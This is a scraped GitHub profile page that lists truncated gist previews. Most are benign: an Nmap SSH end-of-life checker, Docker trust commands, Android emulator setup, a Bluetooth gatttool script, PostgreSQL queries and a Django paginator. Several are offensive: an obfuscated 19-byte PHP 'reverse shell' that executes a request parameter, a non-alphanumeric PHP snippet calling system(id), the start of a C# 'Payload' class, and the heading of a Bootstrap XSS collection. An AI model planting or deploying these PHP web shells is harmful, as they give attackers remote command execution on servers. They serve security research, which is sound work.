Skip to content

Instantly share code, notes, and snippets.

View dubs3c's full-sized avatar
😈
I solemnly swear that I am up to no good

dubs3c dubs3c

😈
I solemnly swear that I am up to no good
View GitHub Profile
@jonaslejon
jonaslejon / eol-check3.py
Created May 1, 2025 19:25
Nmap SSH Banner EOL Checker using endoflife.date API (only Debian and Ubuntu fow now)
#!/usr/bin/env python3
"""
Nmap SSH Banner EOL Checker using endoflife.date API (only Debian and Ubuntu fow now)
Description:
This script parses an Nmap XML output file (-oX) to identify hosts running
an SSH service, regardless of the port it runs on. For each detected SSH service
(identified by <service name="ssh"> on an open port), it attempts to:
1. Extract the SSH version banner provided by the service.
@terjanq
terjanq / rev_shell.php
Last active December 27, 2024 14:54
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
@terjanq
terjanq / funny.php
Last active August 19, 2024 04:03
PHPF*ck
/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
<!--
Explanation:
- Some of the characters might look like alphanumeric, but they are Unicode characters.
- 'ArrayΦ' <-> [].Φ
- 1 <-> ![]
- 'a' <-> ([].Φ)[![]+![]+![]]
using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.IO.Compression;
using System.Runtime.InteropServices;
public class Payload
{
public Payload()
#Docker content trust
export DOCKER_CONTENT_TRUST=1
docker pull nginx
#see the key for the image pulled
docker trust inspect --pretty nginx
#pull image from some other non trusted repository
docker pull saiyam911/red
==================================================
#getting the image ID's
@BlackFan
BlackFan / Bootstrap_XSS.md
Last active October 21, 2025 08:24
Bootstrap XSS Collection

CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1

✔️ CSP strict-dynamic bypass

➖ Requires user interaction

➖ Requires $('[data-toggle="tooltip"]').tooltip();

Android Emulator

Packages

brew cask install adoptopenjdk8
brew cask install android-sdk
brew cask install intel-haxm

Setup

@hackgnar
hackgnar / ghetto_bleah.sh
Last active September 26, 2023 07:46
Ghetto Gatttool Bleah Output
#!/bin/bash
# run with the following syntax:
# ./ghetto_bleah.sh 11:22:33:44:55:66
mac=$1 ;
while read i;
do
printf "%s " $(echo -n $i|awk '{printf "%s : ", $1'});
printf "%s " $(echo -n $i|awk '{printf "%s : ", $3'});
#printf "%s : " $(echo -n $i|awk '{printf "%s", $2'});
@azet
azet / psql_internals_cheatsheet.sql
Last active March 5, 2021 14:57
PostgreSQL internals SQL collection
# long running queries:
SELECT
pid,
now() - pg_stat_activity.query_start AS duration,
query,
state
FROM pg_stat_activity
WHERE (now() - pg_stat_activity.query_start) > interval '5 minutes';
## active queries and killing them:
@noviluni
noviluni / admin.py
Last active November 11, 2025 14:02 — forked from safar/admin.py
Large Table Paginator for Django: Scale Django admin pages and avoid timeouts.
from django.contrib.admin import ModelAdmin
from .paginator import LargeTablePaginator
class MyTableAdmin(ModelAdmin):
...
paginator = LargeTablePaginator
show_full_result_count = False # Recommended to avoid another count()
...